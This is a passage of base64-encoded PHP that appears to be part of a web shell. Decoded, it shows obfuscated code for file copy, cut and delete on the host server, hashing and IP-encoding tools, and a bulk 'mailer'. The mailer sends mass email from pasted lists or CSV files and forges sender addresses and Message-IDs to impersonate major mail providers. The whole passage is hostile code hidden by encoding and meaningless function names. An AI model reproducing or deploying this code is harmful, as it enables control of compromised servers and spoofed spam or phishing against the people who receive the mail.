1KCduYW1ldXJsJywoQGlzc2V0KCRuYW1ldXJsKT8kbmFtZXVybDonJyksIjkiKSkpLiB6N3UoejV0KHo5eSgiMTY0IikpLno5Yyh6NnUoJ3JwYXRoJywoQGlzc2V0KCRycGF0aCk/JHJwYXRoOiRkKSwiOSIpKSkuejViKCkgLCcyJykgKTsgfSB9IGlmKEBpc3NldCgkbHNhbGwpJiZAaXNzZXQoJGFjdGlvbikmJiRhY3Rpb24hPScnKXsgJGxzYWxsX2Fycj1hcnJheSgpOyAkdGxzYWxsX2Fycj1AZXhwbG9kZSgiXG4iLCRsc2FsbCk7IGZvcmVhY2goJHRsc2FsbF9hcnIgYXMgJHRscyl7ICR0bHM9QHRyaW0oJHRscyk7IGlmKCFAZW1wdHkoJHRscykmJiFAaW5fYXJyYXkoJHRscywkbHNhbGxfYXJyKSl7ICRsc2FsbF9hcnJbXT0kdGxzOyB9IH0gaWYoQGNvdW50KCRsc2FsbF9hcnIpPjApeyBmb3JlYWNoKCRsc2FsbF9hcnIgYXMgJGRmbHMpeyBpZihAaXNzZXQoJHVzZV9idWZmZXIpJiYkdXNlX2J1ZmZlciYmQGlzc2V0KCRiY29weSkmJkBpc3NldCgkYmN1dCkmJkBpc19hcnJheSgkYmNvcHkpJiZAaXNfYXJyYXkoJGJjdXQpKXsgc3dpdGNoKCRhY3Rpb24peyBjYXNlICdiY29weSc6IGlmKCFAaW5fYXJyYXkoJGRmbHMsJGJjb3B5KSl7IHoxbygkZGZscywnYmNvcHknKTsgfSBicmVhazsgY2FzZSAnYmN1dCc6IGlmKCFAaW5fYXJyYXkoJGRmbHMsJGJjdXQpKXsgejFvKCRkZmxzLCdiY3V0Jyk7IH0gYnJlYWs7IGNhc2UgJ2J1bnNldGNvcHknOiBpZihAaW5fYXJyYXkoJGRmbHMsJGJjb3B5KSl7IHoxbygkZGZscywnYmNvcHknKTsgfSBicmVhazsgY2FzZSAnYnVuc2V0Y3V0JzogaWYoQGluX2FycmF5KCRkZmxzLCRiY3V0KSl7IHoxbygkZGZscywnYmN1dCcpOyB9IGJyZWFrOyBjYXNlICdidW5zZXRhbGwnOiBpZihAaW5fYXJyYXkoJGRmbHMsJGJjb3B5KSl7IHoxbygkZGZscywnYmNvcHknKTsgfSBlbHNlaWYoQGluX2FycmF5KCRkZmxzLCRiY3V0KSl7IHoxbygkZGZscywnYmN1dCcpOyB9IGJyZWFrOyBkZWZhdWx0OiBicmVhazsgfSB9IHN3aXRjaCgkYWN0aW9uKXsgY2FzZSAnZGVsZXRlJzogaWYoejRyKCRkZmxzKSl7IHo4cygkZGZscyk7IH0gYnJlYWs7IGRlZmF1bHQ6IGJyZWFrOyB9IH0gaWYoQGlzc2V0KCR1c2VfYnVmZmVyKSYmJHVzZV9idWZmZXIpIHowaigpOyB9IH0gaWYoJGFjdD09J21haWxlcicpeyAkc21zZz0kY21zZz0nJzsgJHNfb2s9JGNfb2s9MDsgaWYoQGlzc2V0KCRtMV9zdWJtaXQpJiYkbTFfc3VibWl0KXsgaWYoQGVtcHR5KCRtMV9uYW1lKXx8QGVtcHR5KCRtMV9mcm9tKXx8QGVtcHR5KCRtMV9zdWJqKXx8QGVtcHR5KCRtMV9tc2cpfHwkbTFfbXNnPT0ibWVzc2FnZSJ8fEBlbXB0eSgkbTFfZW1haWxzKXx8IUBzdHJzdHIoJG0xX2VtYWlscywiQCIpKXsgJHNtc2c9IiA6ICIuejl5KCIyMzYiKTsgfSBlbHNlIHsgJHNfb2s9MTsgfSB9IGVsc2VpZihAaXNzZXQoJG0yX3N1Ym1pdCkmJiRtMl9zdWJtaXQpeyBpZihAZW1wdHkoJG0yX25hbWUpfHxAZW1wdHkoJG0yX2Zyb20pfHxAZW1wdHkoJG0yX3N1YmopfHxAZW1wdHkoJG0yX21zZyl8fEBlbXB0eSgkbTJfY3N2KXx8IUBwcmVnX21hdGNoKCcvIiguKj8pIlxzKixccyoiKC4qPykiLycsJG0yX2NzdikpeyAkY21zZz0iIDogIi56OXkoIjIzNiIpOyB9IGVsc2UgeyAkY19vaz0xOyB9IH0gaWYoIUBpc3NldCgkbTFfbXNnKXx8QGVtcHR5KCRtMV9tc2cpKSAkbTFfbXNnPSJtZXNzYWdlIjsgaWYoIUBpc3NldCgkbTFfZW1haWxzKXx8QGVtcHR5KCRtMV9lbWFpbHMpKSAkbTFfZW1haWxzPSJlLW1haWxzIjsgaWYoIUBpc3NldCgkbTJfcHJlZml4KXx8QGVtcHR5KCRtMl9wcmVmaXgpKSAkbTJfcHJlZml4PSJjb2x1bW5fcHJlZml4XyI7IGlmKCFAaXNzZXQoJG0yX2Vjb2wpfHwhQGlzX251bWVyaWMoJG0yX2Vjb2wpKSAkbTJfZWNvbD0iMCI7IGlmKCFAaXNzZXQoJG0yX21zZyl8fEBlbXB0eSgkbTJfbXNnKSkgJG0yX21zZz0iSGVsbG8gIi4kbTJfcHJlZml4LiIxLFxyXG5cclxuWW91ciBBZGRyZXNzOiAiLiRtMl9wcmVmaXguIjJcclxuWW91ciBQaG9uZTogIi4kbTJfcHJlZml4LiIzXHJcblxyXG5FLW1haWwgc2VudCB0bzogIi4kbTJfcHJlZml4LiIwIjsgaWYoIUBpc3NldCgkbTJfY3N2KXx8QGVtcHR5KCRtMl9jc3YpKSAkbTJfY3N2PSciam9obkBlbWFpbCIsImpvaG4iLCJqb2huXCdzIGFkZHJlc3MiLCIwMTIzNDU2Nzg5IicuIlxyXG4iLiciamFuZUBlbWFpbCIsImphbmUiLCJqYW5lXCdzIGFkZHJlc3MiLCI5ODc2NTQzMjEwIic7IGVjaG8gejNxKGFycmF5KHo5eSgiMjEyIikuJHNtc2csIHo5eSgiMjEzIikuJGNtc2cpLCc0NicpOyBlY2hvIHo5bSgnMicpLno3bygpLno3aignJywnNCcpOyBlY2hvIHoxMHcoIHo1YigpLno5ZCh6OWMoejEwdyggejV4KGFycmF5KCJhY3QiPT4ibWFpbGVyIiwiZCIsIm0xX3N1Ym1pdCI9PiIxIiksIHo3dSh6OWMoejduKHo5eSgiMjE0IikpKS56NnooejV5KCdtMV9uYW1lJywnJywnNycpKSkuIHo3dSh6OWMoejduKHo5eSgiMjE1IikpKS56NnooejV5KCdtMV9mcm9tJywnJywnNycpKSkuIHo3dSh6OWMoejduKHo5eSgiMjE2IikpKS56NnooejV5KCdtMV9zdWJqJywnJywnNycpKSkuIHo3dSh6NngoejV3KCdtMV9tc2cnLCczJykuJG0xX21zZy56NXEoKSwnMicpKS4gejd1KHo2eCh6NXcoJ20xX2VtYWlscycsJzMnKS4kbTFfZW1haWxzLno1cSgpLCcyJykpLiB6N3UoejZ4KHoxMHcoejd1KHo5Yyh6N24oejl5KCIyMTciKSkuejV5KCdtMV9zdHInLCcnLCc0JykpLno5Yyh6N24oejl5KCIyMTgiKSkuejNtKCdtMV9yZXBsYWNlJywgYXJyYXkoIiI9Pno5eSgiMjIzIiksICJuYW1lIj0+ejl5KCIyMjQiKSwgImVtYWlsMSI9Pno5eSgiMjI1IiksICJlbWFpbDIiPT56OXkoIjIyNiIpLCAiZW1haWxoYXNoIj0+ejl5KCIyMjciKSksJzQnLDEpKS56OWMoejduKHo5eSgiMjE5IikpLnozbSgibTFfd2hlcmUiLGFycmF5KCAic3ViamVjdCI9Pno5eSgiMjI4IiksICJtZXNzYWdlIj0+ejl5KCIyMjkiKSwgIiI9Pno5eSgiMjMwIikpLCc1JywxKSkpLCcyJyksJzInKSkuIHo3dSh6NngoejEwdyh6N3UoejljKHo1dSgibTFfcmFuZDEiLHo5eSgiMjMxIiksIm0xX3JhbmQxIiksJycsJzQnKS56OWMoejV1KCJtMV9yYW5kMiIsejl5KCIyMzIiKSwibTFfcmFuZDIiKSwnJywnNCcpKSwnMicpLCcyJykpLno1YigpLiB6N3UoejZ4KHo4Yih6OXkoIjIzMyIpLCc3JykuejV1KCdtMV9wcmV2aWV3Jyx6OXkoIjIzNCIpLCdtMV9wcmV2aWV3JyksJzInKSkgKSwnMicpLCcyMCcpKS4gejViKCkgLCcyJyk7IGVjaG8gejdmKCkuejdqKCcnLCc0NicpOyBlY2hvIHoxMHcoIHo1YigpLno5ZCh6OWMoejEwdyggejV4KGFycmF5KCdhY3QnPT4nbWFpbGVyJywiZCIsJ20yX3N1Ym1pdCc9PicxJyksIHo3dSh6OWMoejduKHo5eSgiMjE0IikpKS56NnooejV5KCdtMl9uYW1lJywnJywnNycpKSkuIHo3dSh6OWMoejduKHo5eSgiMjE1IikpKS56NnooejV5KCdtMl9mcm9tJywnJywnNycpKSkuIHo3dSh6OWMoejduKHo5eSgiMjE2IikpKS56NnooejV5KCdtMl9zdWJqJywnJywnNycpKSkuIHo3dSh6NngoejV3KCdtMl9tc2cnLCczJykuJG0yX21zZy56NXEoKSwnMicpKS4gejd1KHo2eCh6NXcoJ20yX2NzdicsJzMnKS4kbTJfY3N2Lno1cSgpLCcyJykpLiB6N3UoejZ4KHoxMHcoejd1KHo5Yyh6N24oejl5KCIyMjAiKSkuejZ1KCdtMl9lY29sJywkbTJfZWNvbCwnNicpKS56OWMoejduKHo5eSgiMjIxIikpLno1eSgnbTJfcHJlZml4JywnJywnNCcpKS56OWMoejduKHo5eSgiMjIyIikpLnozbSgnbTJfd2hlcmUnLGFycmF5KCAibWVzc2FnZSI9Pno5eSgiMjI5IiksICIiPT56OXkoIjIzMCIpKSwiNCIsMSkpKSwnMicpLCcyJykpLiB6N3UoejZ4KHoxMHcoejd1KHo5Yyh6NXUoIm0yX3JhbmQxIix6OXkoIjIzMSIpLCJtMl9yYW5kMSIpLCcnLCc0JykuejljKHo1dSgibTJfcmFuZDIiLHo5eSgiMjMyIiksIm0yX3JhbmQyIiksJycsJzQnKSksJzInKSwnMicpKS56NWIoKS4gejd1KHo2eCh6OGIoejl5KCIyMzMiKSwnNycpLno1dSgnbTJfcHJldmlldycsejl5KCIyMzQiKSwibTJfcHJldmlldyIpLicgJy56NXUoJ20yX3ZlcmJvc2UnLHo5eSgiMjM1IiksIm0yX3ZlcmJvc2UiKSwnMicpKSApLCcyJyksJzIwJykpLiB6NWIoKSAsJzInKTsgZWNobyB6N2YoKS56N3koKS56MTBxKCk7IGlmKCRzX29rfHwkY19vayl7ICRob3N0PWFycmF5KCJhb2wuY29tIiwiYXR0Lm5ldCIsImJlbGxzb3V0aC5uZXQiLCJjb21jYXN0Lm5ldCIsImVtYWlsLmNvbSIsImdtYWlsLmNvbSIsImdvb2dsZW1haWwuY29tIiwiaG90bWFpbC5jb20iLCJqdW5vLmNvbSIsImxpdmUuY29tIiwibHljb3MuY29tIiwibWFpbC5jb20iLCJtaW5kc3ByaW5nLmNvbSIsIm1zbi5jb20iLCJwYWNiZWxsLmNvbSIsInBvc3QuY29tIiwicHJvZGlneS5uZXQiLCJyb2NrZXRtYWlsLmNvbSIsInNiY2dsb2JhbC5uZXQiLCJ1c2EuY29tIiwieWFob28uY29tIiwieW1haWwuY29tIik7ICRjaD0oQGNvdW50KCRob3N0KS0xKTsgJGk9MTsgJG1fc3VjY2Vzcz0wOyAkbV9mYWlsZWQ9MDsgJGFsbF9mYWlsZWQ9YXJyYXkoKTsgaWYoJHNfb2speyBlY2hvIHo5bSgnMicpLno3dSggejljKHo5eSgiMjM3IiksJzgnLCcyJykuejljKHo5eSgiMjM4IiksJzgnKS56OWMoejl5KCIyMzkiKSwnOCcpLno5Yyh6OXkoIjI0MCIpLCc4JykuejljKHo5eSgiMjQxIiksJzgnLCczJykgKTsgJG1fYWxsPUBleHBsb2RlKCJcbiIsJG0xX2VtYWlscyk7ICRtX2FsbD1AYXJyYXlfdW5pcXVlKCRtX2FsbCk7ICRtX2NvdW50PUBjb3VudCgkbV9hbGwpOyAkbV9sZW49QHN0cmxlbigkbV9jb3VudCk7IHo1bygpOyBmb3JlYWNoKCRtX2FsbCBhcyAkbV9tYWlsKXsgJGZyb209JG0xX2Zyb207IGlmKEBpc3NldCgkbTFfcmFuZDEpJiYkbTFfcmFuZDEpeyAkZnJvbT1Ac3RyX3JlcGxhY2UoIkAiLEByYW5kKDEwMDAwMCw5OTk5OTkpLiJAIiwkZnJvbSk7IH0gaWYoaXNzZXQoJG0xX3JhbmQyKSYmJG0xX3JhbmQyKXsgJGhyPUByYW5kKDAsJGNoKTsgJG1fbXNnaWQ9QG1kNShAdW5pcWlkKEB0aW1lKCkpKS4iQCIuJGhvc3RbJGhyXTsgfWVsc2V7ICRtX21zZ2lkPUBtZDUoQHVuaXFpZChAdGltZSgpKSkuIkAiLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOyB9ICRoZWFkZXI9IiI7ICRoZWFkZXIuPSJGcm9tOiAkbTFfbmFtZSA8JGZyb20+XG4iOyAkaGVhZGVyLj0iUmVwbHktVG86IDwkZnJvbT5cbiI7ICRoZWFkZXIuPSJNZXNzYWdlLUlEOiA8Ii4kbV9tc2dpZC4iPlxuIjsgJGhlYWRlci49Ik1JTUUtVmVyc2lvbjogMS4wXG4iOyAkZGF0ZT1AZGF0ZSgiWS1tLWQiKTsgJGhlYWRlci49IkRhdGU6ICRkYXRlXG4iOyAkaGVhZGVyLj0iQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcbiI7ICRoZWFkZXIuPSJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0XG5cbiI7ICRtX21zZz0kbTFfbXNnOyAkbV9zdWJqPSRtMV9zdWJqOyBpZihAaXNzZXQoJG0xX3N0cikmJiFAZW1wdHkoJG0xX3N0cikmJkBpc3NldCgkbTFfcmVwbGFjZSkmJiFAZW1wdHkoJG0xX3JlcGxhY2UpKXsgaWYoJG0xX3JlcGxhY2U9PSJuYW1lIil7IGlmKCFAaXNzZXQoJG0xX3doZXJlKXx8QGVtcHR5KCRtMV93aGVyZSl8fCRtMV93aGVyZT09Im1lc3NhZ2UiKSAkbV9tc2c9QHN0cl9yZXBsYWNlKCRtMV9zdHIsJG0xX25hbWUsJG1fbXNnKTsgaWYoIUBpc3NldCgkbTFfd2hlcmUpfHxAZW1wdHkoJG0xX3doZXJlKXx8JG0xX3doZXJlPT0ic3ViamVjdCIpICRtX3N1Ymo9QHN0cl9yZXBsYWNlKCRtMV9zdHIsJG0xX25hbWUsJG1fc3Viaik7IH1lbHNlaWYoJG0xX3JlcGxhY2U9PSJlbWFpbDEiKXsgaWYoIUBpc3NldCgkbTFfd2hlcmUpfHxAZW1wdHkoJG0xX3doZXJlKXx8JG0xX3doZXJlPT0ibWVzc2FnZSIpICRtX21zZz1Ac3RyX3JlcGxhY2UoJG0xX3N0ciwkbTFfZnJvbSwkbV9tc2cpOyBpZighQGlzc2V0KCRtMV93aGVyZSl8fEBlbXB0eSgkbTFfd2hlcmUpfHwkbTFfd2hlcmU9PSJzdWJqZWN0IikgJG1fc3Viaj1Ac3RyX3JlcGxhY2UoJG0xX3N0ciwkbTFfZnJvbSwkbV9zdWJqKTsgfWVsc2VpZigkbTFfcmVwbGFjZT09ImVtYWlsMiIpeyBpZighQGlzc2V0KCRtMV93aGVyZSl8fEBlbXB0eSgkbTFfd2hlcmUpfHwkbTFfd2hlcmU9PSJtZXNzYWdlIikgJG1fbXNnPUBzdHJfcmVwbGFjZSgkbTFfc3RyLCRtX21haWwsJG1fbXNnKTsgaWYoIUBpc3NldCgkbTFfd2hlcmUpfHxAZW1wdHkoJG0xX3doZXJlKXx8JG0xX3doZXJlPT0ic3ViamVjdCIpICRtX3N1Ymo9QHN0cl9yZXBsYWNlKCRtMV9zdHIsJG1fbWFpbCwkbV9zdWJqKTsgfWVsc2VpZigkbTFfcmVwbGFjZT09ImVtYWlsaGFzaCIpeyBpZighQGlzc2V0KCRtMV93aGVyZSl8fEBlbXB0eSgkbTFfd2hlcmUpfHwkbTFfd2hlcmU9PSJtZXNzYWdlIikgJG1fbXNnPUBzdHJfcmVwbGFjZSgkbTFfc3RyLEBtZDUoJG1fbWFpbCksJG1fbXNnKTsgaWYoIUBpc3NldCgkbTFfd2hlcmUpfHxAZW1wdHkoJG0xX3doZXJlKXx8JG0xX3doZXJlPT0ic3ViamVjdCIpICRtX3N1Ymo9QHN0cl9yZXBsYWNlKCRtMV9zdHIsQG1kNSgkbV9tYWlsKSwkbV9zdWJqKTsgfSB9ICRtX3BhZD0iIjsgaWYoQHN0cmxlbigkaSk8JG1fbGVuKSAkbV9wYWQ9QHN0cl9yZXBlYXQoIjAiLCgkbV9sZW4tQHN0cmxlbigkaSkpKTsgaWYoIUBlbXB0eSgkbV9tYWlsKSl7IGlmKEBpc3NldCgkbTFfcHJldmlldykmJiRtMV9wcmV2aWV3KXsgaWYoJGk+NSkgYnJlYWs7IGVjaG8gejlkKHo5YygkbV9wYWQuJGksJzE0JywnMicpLno5YygkbV9tYWlsLCcxNCcpLno5YygkZnJvbSwnMTQnKS56OWMoJG1fbXNnaWQsJzE0JykuejljKHo1cCh6OXkoIjI0NSIpKSwnMTQnLCczJyksKCRpJTI/JzAnOicxJykpOyB9ZWxzZWlmKEBtYWlsKCRtX21haWwsJG1fc3ViaiwkbV9tc2csJGhlYWRlcikpeyBlY2hvIHo5ZCh6OWMoJG1fcGFkLiRpLCcxNCcsJzInKS56OWMoJG1fbWFpbCwnMTQnKS56OWMoJGZyb20sJzE0JykuejljKCRtX21zZ2lkLCcxNCcpLno5Yyh6NXAoejl5KCIyNDMiKSksJzE0JywnMycpLCgkaSUyPycwJzonMScpKTsgejVvKCk7ICRtX3N1Y2Nlc3MrKzsgfWVsc2V7IGVjaG8gejlkKHo5YygkbV9wYWQuJGksJzE0JywnMicpLno5YygkbV9tYWlsLCcxNCcpLno5YygkZnJvbSwnMTQnKS56OWMoJG1fbXNnaWQsJzE0JykuejljKHo4ayh6OXkoIjI0NCIpKSwnMTQnLCczJyksKCRpJTI/JzAnOicxJykpOyB6NW8oKTsgJGFsbF9mYWlsZWRbXT0kbV9tYWlsOyAkbV9mYWlsZWQrKzsgfSAkaSsrOyB9IH0gfSBlbHNlaWYoJGNfb2speyAkZmNzdj1Ac3RyX3JlcGxhY2UoIlxyIiwiXG4iLCRtMl9jc3YpOyAkZmNzdj16MnYoIlxuXG4iLCJcbiIsJGZjc3YpOyAkY3N2PXo1cygkZmNzdik7IGVjaG8gejltKCcyJykuejd1KCB6OWMoejl5KCIyMzciKSwnOCcsJzInKS56OWMoejl5KCIyMzgiKSwnOCcpLno5Yyh6OXkoIjIzOSIpLCc4JykuKChAaXNzZXQoJG0yX3ZlcmJvc2UpJiYkbTJfdmVyYm9zZSk/ejljKHo5eSgiMjQyIiksJzgnKTonJykuejljKHo5eSgiMjQwIiksJzgnKS56OWMoejl5KCIyNDEiKSwnOCcsJzMnKSApOyAkbV9jb3VudD1AY291bnQoJGNzdik7ICRtX2xlbj1Ac3RybGVuKCRtX2NvdW50KTsgejVvKCk7IGZvcmVhY2goJGNzdiBhcyAkc3RyX2Nzdil7IGlmKEBpc19hcnJheSgkc3RyX2NzdikpeyAkZnJvbT0kbTJfZnJvbTsgJG1fbWFpbD0kc3RyX2NzdlskbTJfZWNvbF07IGlmKEBpc3NldCgkbTJfcmFuZDEpJiYkbTJfcmFuZDEpeyAkZnJvbT1Ac3RyX3JlcGxhY2UoIkAiLEByYW5kKDEwMDAwMCw5OTk5OTkpLiJAIiwkZnJvbSk7IH0gaWYoaXNzZXQoJG0yX3JhbmQyKSYmJG0yX3JhbmQyKXsgJGhyPUByYW5kKDAsJGNoKTsgJG1fbXNnaWQ9QG1kNShAdW5pcWlkKEB0aW1lKCkpKS4iQCIuJGhvc3RbJGhyXTsgfWVsc2V7ICRtX21zZ2lkPUBtZDUoQHVuaXFpZChAdGltZSgpKSkuIkAiLiRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdOyB9ICRoZWFkZXI9IiI7ICRoZWFkZXIuPSJGcm9tOiAkbTJfbmFtZSA8JGZyb20+XG4iOyAkaGVhZGVyLj0iUmVwbHktVG86IDwkZnJvbT5cbiI7ICRoZWFkZXIuPSJNZXNzYWdlLUlEOiA8Ii4kbV9tc2dpZC4iPlxuIjsgJGhlYWRlci49Ik1JTUUtVmVyc2lvbjogMS4wXG4iOyAkZGF0ZT1AZGF0ZSgiWS1tLWQiKTsgJGhlYWRlci49IkRhdGU6ICRkYXRlXG4iOyAkaGVhZGVyLj0iQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLThcbiI7ICRoZWFkZXIuPSJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0XG5cbiI7ICRtX21zZz0kbTJfbXNnOyAkbV9zdWJqPSRtMl9zdWJqOyAkcmVwbD1hcnJheSgpOyBmb3IoJHNpPShAY291bnQoJHN0cl9jc3YpLTEpOyRzaT49MDskc2ktLSl7IGlmKEBlbXB0eSgkbTJfd2hlcmUpKXsgJG1fbXNnPUBzdHJfcmVwbGFjZSgkbTJfcHJlZml4LiRzaSwkc3RyX2Nzdlskc2ldLCRtX21zZyk7ICRtX3N1Ymo9QHN0cl9yZXBsYWNlKCRtMl9wcmVmaXguJHNpLCRzdHJfY3N2WyRzaV0sJG1fc3Viaik7ICRyZXBsW109JG0yX3ByZWZpeC4kc2kuIiA9ICIuJHN0cl9jc3ZbJHNpXS56OXooKTsgfWVsc2V7ICRtX21zZz1Ac3RyX3JlcGxhY2UoJG0yX3ByZWZpeC4kc2ksJHN0cl9jc3ZbJHNpXSwkbV9tc2cpOyAkcmVwbFtdPSRtMl9wcmVmaXguJHNpLiIgPSAiLiRzdHJfY3N2WyRzaV0uejl6KCk7IH0gfSAkcmVwbGFjaW5nPShAY291bnQoJHJlcGwpPjA/QGltcGxvZGUoJycsQGFycmF5X3JldmVyc2UoJHJlcGwpKTonJyk7ICRtX3BhZD0iIjsgaWYoQHN0cmxlbigkaSk8JG1fbGVuKSAkbV9wYWQ9QHN0cl9yZXBlYXQoIjAiLCgkbV9sZW4tQHN0cmxlbigkaSkpKTsgaWYoIUBlbXB0eSgkbV9tYWlsKSl7IGlmKEBpc3NldCgkbTJfcHJldmlldykmJiRtMl9wcmV2aWV3KXsgaWYoJGk+NSkgYnJlYWs7IGVjaG8gejlkKHo5YygkbV9wYWQuJGksJzE0JywnMicpLno5YygkbV9tYWlsLCcxNCcpLno5YygkZnJvbSwnMTQnKS4oKEBpc3NldCgkbTJfdmVyYm9zZSkmJiRtMl92ZXJib3NlKT96OWMoJHJlcGxhY2luZywnMTQnKTonJykuejljKCRtX21zZ2lkLCcxNCcpLno5Yyh6NXAoejl5KCIyNDUiKSksJzE0JywnMycpLCgkaSUyPycwJzonMScpKTsgfSBlbHNlaWYoQG1haWwoJG1fbWFpbCwkbV9zdWJqLCRtX21zZywkaGVhZGVyKSl7IGVjaG8gejlkKHo5YygkbV9wYWQuJGksJzE0JywnMicpLno5YygkbV9tYWlsLCcxNCcpLno5YygkZnJvbSwnMTQnKS4oKEBpc3NldCgkbTJfdmVyYm9zZSkmJiRtMl92ZXJib3NlKT96OWMoJHJlcGxhY2luZywnMTQnKTonJykuejljKCRtX21zZ2lkLCcxNCcpLno5Yyh6NXAoejl5KCIyNDMiKSksJzE0JywnMycpLCgkaSUyPycwJzonMScpKTsgejVvKCk7ICRtX3N1Y2Nlc3MrKzsgfWVsc2V7IGVjaG8gejlkKHo5YygkbV9wYWQuJGksJzE0JywnMicpLno5YygkbV9tYWlsLCcxNCcpLno5YygkZnJvbSwnMTQnKS4oKEBpc3NldCgkbTJfdmVyYm9zZSkmJiRtMl92ZXJib3NlKT96OWMoJHJlcGxhY2luZywnMTQnKTonJykuejljKCRtX21zZ2lkLCcxNCcpLno5Yyh6OGsoejl5KCIyNDQiKSksJzE0JywnMycpLCgkaSUyPycwJzonMScpKTsgejVvKCk7ICRhbGxfZmFpbGVkW109JG1fbWFpbDsgJG1fZmFpbGVkKys7IH0gJGkrKzsgfSB9IH0gZWNobyB6MTBxKCk7IH0gaWYoIUBpc3NldCgkbTJfcHJldmlldyl8fCEkbTJfcHJldmlldyl7IGVjaG8gejZzKCkuejEwdyh6N3UoejZsKHo5eSgiNDI2IiwkbV9jb3VudCkuejl4KCkuejl5KCI0MjciLCRtX3N1Y2Nlc3MpLno5eCgpLno5eSgiNDI4IiwkbV9mYWlsZWQpLigkbV9mYWlsZWQ+MD96OXgoKS56OXkoIjQzMSIpOicnKSkpLCcyJyk7IGlmKEBjb3VudCgkYWxsX2ZhaWxlZCk+MCl7IGVjaG8gejEwdyh6OWQoejZsKHo1dygnJywnMScsMSkuQGltcGxvZGUoIlxuIixAYXJyYXlfdW5pcXVlKCRhbGxfZmFpbGVkKSkuejVxKCkpKSwnMicpOyB9IH0gfSB9IGlmKCRhY3Q9PSdlbmNvZGVycycpeyAkaGFzaF9hbGdvcz1hcnJheSgnJz0+ejl5KCIyNjAiKSk7IGlmKCFAaXNzZXQoJGhhc2hfaW5wdXQpKSAkaGFzaF9pbnB1dD0nJzsgaWYoejdlKCJoYXNoX2FsZ29zIikmJkB6N2UoImhhc2giKSl7ICRoZm5jPTE7ICRoYXNoZXM9QGhhc2hfYWxnb3MoKTsgfSBlbHNlIHsgJGhmbmM9MDsgJGhhc2hlcz1hcnJheSgpOyBmb3JlYWNoKGFycmF5KCJtZDUiLCJzaGExIiwiY3JjMzIiKSBhcyAkaGgpeyBpZih6N2UoJGhoKSkgJGhhc2hlc1tdPSRoaDsgfSB9IGZvcmVhY2goJGhhc2hlcyBhcyAkaGEpICRoYXNoX2FsZ29zWyRoYV09JGhhOyAkZW5jb2RlX2Z1bmN0aW9ucz16MWUoKTsgJHN1Ym1pdGVkPTA7IGlmKEBpc3NldCgkc3VibWl0X2VuY29kZSkmJiRzdWJtaXRfZW5jb2RlJiZAaXNzZXQoJGVuY29kZXJfaW5wdXQpJiYhQGVtcHR5KCRlbmNvZGVyX2lucHV0KSkgJHN1Ym1pdGVkPTE7ICRlbmNvZGVyX291dHB1dD0iIjsgaWYoIUBpc3NldCgkaXBfaW5wdXQpfHxAZW1wdHkoJGlwX2lucHV0KSl7ICRpcF9pbnB1dD0kc2FkZHI7IH0gZWNobyB6M3EoYXJyYXkoejl5KCIyNDYiKSx6OXkoIjI1MyIpKSwiNDYiKTsgZWNobyB6OW0oMikuIHo3bygpLiB6N2ooJycsJzQnKS56NnMoKS4gejltKCcyJykuejlrKCcnLCdoYXNoX2Zvcm0nKS56OXYoImFjdCIsImVuY29kZXJzIikuejl2KCJkIikuejl2KCJodHlwZSIsIjEiKS56N3UoejV0KHo5eSgiMjQ3IikpLno5Yyh6NXkoImhhc2hpbnB1dCIsIiIsIjUiKS56OGIoejl5KCIyNDgiKSwnNycpLno4bSh6OXkoIjI1MCIpLCdkb2N1bWVudC5oYXNoX2Zvcm0uaGFzaGlucHV0LnZhbHVlPVwnXCc7JywnNycpKSkuejlsKCkuejEwcSgpOyBpZihAaXNzZXQoJGh0eXBlKSYmJGh0eXBlKXsgZWNobyB6MTB3KHo5ZCh6NXQoejl5KCIyNTEiKSkuejljKHo1dygnJywnNicpLnoyZSgkaGFzaGlucHV0KS56NXEoKSkpLCIyIik7IH0gZWNobyB6N2YoKS56N2ooJycsJzQ2JykuIHo2cygpLiB6OW0oJzInKS56OWsoJycsImlwX2Zvcm0iKS56OXYoImFjdCIsImVuY29kZXJzIikuejl2KCJkIikuejl2KCJzdWJtaXRfaXAiLCIxIikuejd1KHo1dCh6OXkoIjI1NCIpKS56OWMoejZ1KCJpcF9pbnB1dCIsQGh0bWxzcGVjaWFsY2hhcnMoJGlwX2lucHV0KSwnNScpLno4Yih6OXkoIjI0OCIpLCc3JykuejhtKHo5eSgiMjUwIiksJ2RvY3VtZW50LmlwX2Zvcm0uaXBfaW5wdXQudmFsdWU9XCdcJzsnLCc3JykpKS56OWwoKS56MTBxKCk7IGlmKEBpc3NldCgkc3VibWl0X2lwKSYmJHN1Ym1pdF9pcD09IjEiJiZAaXNzZXQoJGlwX2lucHV0KSYmIUBlbXB0eSgkaXBfaW5wdXQpKXsgZWNobyB6OW0oJzInKS56N3UoejV0KHo5eSgiMjU1IikpLno5Yyh6OGcoc3ByaW50ZigiJXUiLEBpcDJsb25nKCRpcF9pbnB1dCkpLCIwIikuejl4KCkuejEwdCgnaHR0cDovLycuQHNwcmludGYoIiV1IixAaXAybG9uZygkaXBfaW5wdXQpKS4nLycsejl5KCIyNTIiKSwiMSIsMSkpKS4gejd1KHo1dCh6OXkoIjI1NiIpKS56OWMoejhnKCh6MnooJGlwX2lucHV0KT09ImZhaWxlZCIpPyJmYWlsZWQiOnoyeigkaXBfaW5wdXQpLCIwIikuKCh6MnooJGlwX2lucHV0KT09ImZhaWxlZCIpPyIiOno5eCgpLnoxMHQoJ2h0dHA6Ly8nLnoyeigkaXBfaW5wdXQpLicvJyx6OXkoIjI1MiIpLCIxIiwxKSkpKS4gejd1KHo1dCh6OXkoIjI1NyIpKS56OWMoejhnKCh6MXUoJGlwX2lucHV0KT09ImZhaWxlZCIpPyJmYWlsZWQiOnoxdSgkaXBfaW5wdXQpLCIwIikuKCh6MXUoJGlwX2lucHV0KT09ImZhaWxlZCIpPyIiOno5eCgpLnoxMHQoJ2h0dHA6Ly8nLnoxdSgkaXBfaW5wdXQpLicvJyx6OXkoIjI1MiIpLCIxIiwxKSkpKS56MTBxKCk7IH0gZWNobyB6NnMoKTsgZWNobyB6N2YoKS4gejd5KCkuIHoxMHEoKTsgZWNobyB6M3EoYXJyYXkoejl5KCI0MzIiKSx6OXkoIjQzMyIpKSwnNDYnKTsgZWNobyB6OW0oMikuIHo3bygpLiB6N2ooJycsJzQnKS56NnMoKS4gejltKCcyJykuejlrKCcnLCJoYXNoaW5nX2Zvcm0iKS56OXYoImFjdCIs